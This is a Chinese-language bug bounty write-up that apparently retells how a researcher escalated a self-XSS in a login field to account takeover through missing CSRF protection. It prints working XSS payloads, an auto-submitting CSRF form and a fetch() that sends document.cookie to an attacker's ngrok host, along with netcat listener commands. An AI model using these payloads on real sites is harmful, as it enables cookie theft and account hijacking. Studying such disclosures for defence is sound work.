从Self XSS 到账户接管
2023-12-23 20:25:16 Author: mp.weixin.qq.com(查看原文) 阅读量:18 收藏

今天分享一位白帽小哥在H1上将一处Self XSS升级为账户接管的漏洞过程。由于披露原则,目标网站以下统称为“https://reacted.com” 。

在对目标站点进行测试时,有一个登录功能,像往常一样,白帽小哥尝试使用响应操作、默认凭据和SQL注入来绕过登录,但都未成功,于是小哥开始检查源代码,发现刚刚输入的用户名打印在了Value属性中。

于是尝试在用户名中注入双引号("),幸运的是,该网站没有对其进行过滤。

于是构造xss payload:

"> <svg/onload=alert("XSS")>

成功弹窗,但它仅仅只是一个Self XSS,危害并不大。

通过查看Burp Suite,在登录时的请求抓包:

发现没有针对CSRF进行保护。于是尝试使用CSRF将Self XSS升级为反射型XSS,Payload如下:

<html>

<body>

<form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">

<input type="hidden" name="loginName" value="&#x22;&#x20;><svg/onmouseover=alert(1)&#x20;&#x22;>

<input type="hidden" name="loginPassword" value="test"/>

<input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>

</form>

<script>

document.addEventListener('DOMContentLoaded', function(event) {

document.createElement('form').submit.call(document.getElementById('myForm'));

});

</script>

</body>

<html>

generic

634 Bytes

© Guge's Blog

再次成功!那么既然有了反射型XSS,那就意味着可以获取其他人的Cookie了。

首先开启Ngrok:

ngrok http 80

然后开启监听:

sudo nc -nlvp 80

在用户名中使用了以下Payload:

&#x22;&#x20;> <script>&#x0a;fetch(‘https://<ngrok-Domain>', { method: ‘POST’, mode: ‘no-cors’, body:document.cookie });&#x0a;</script>&#x20;&#x22;

" >('https://',{ method:'POST',mode:'no-cors',body:document.cookie }); "

generic

219 Bytes

© Guge's Blog

其中" 是html编码的双引号和空格。上面的payload用于检索用户的Cookie并将其发送到Ngrok。因此最终的Payload长下面这样:

<html>

<body>

<form name='myForm' id='myForm' method="POST" action="https://reacted.com/authenticate">

<input type="hidden" name="loginName" value="&#x22;&#x20;> <script>&#x0a;fetch('https://<ngrok-host>', { method: 'POST', mode: 'no-cors', body:document.cookie });&#x0a;</script>&#x20;&#x22;"/>

<input type="hidden" name="loginPassword" value="test"/>

<input name="loginForm" class="btn btn-success" type="submit" value="Log in"/>

</form>

<script>

document.addEventListener('DOMContentLoaded', function(event) {

document.createElement('form').submit.call(document.getElementById('myForm'));

});

</script>

</body>

<html>

generic

650 Bytes

© Guge's Blog

截图中可以看到,成功获得了他人的Cookie信息。

如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

往期回顾

xss研究笔记

SSRF研究笔记

dom-xss精选文章

2022年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247493105&idx=1&sn=f1402a8b18d4cc097ab91cae05d1e0e4&chksm=e8a5ef92dfd266843b6de1682b54b32be7392b4a493df396485e9a7fe8d411b1800257547668&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh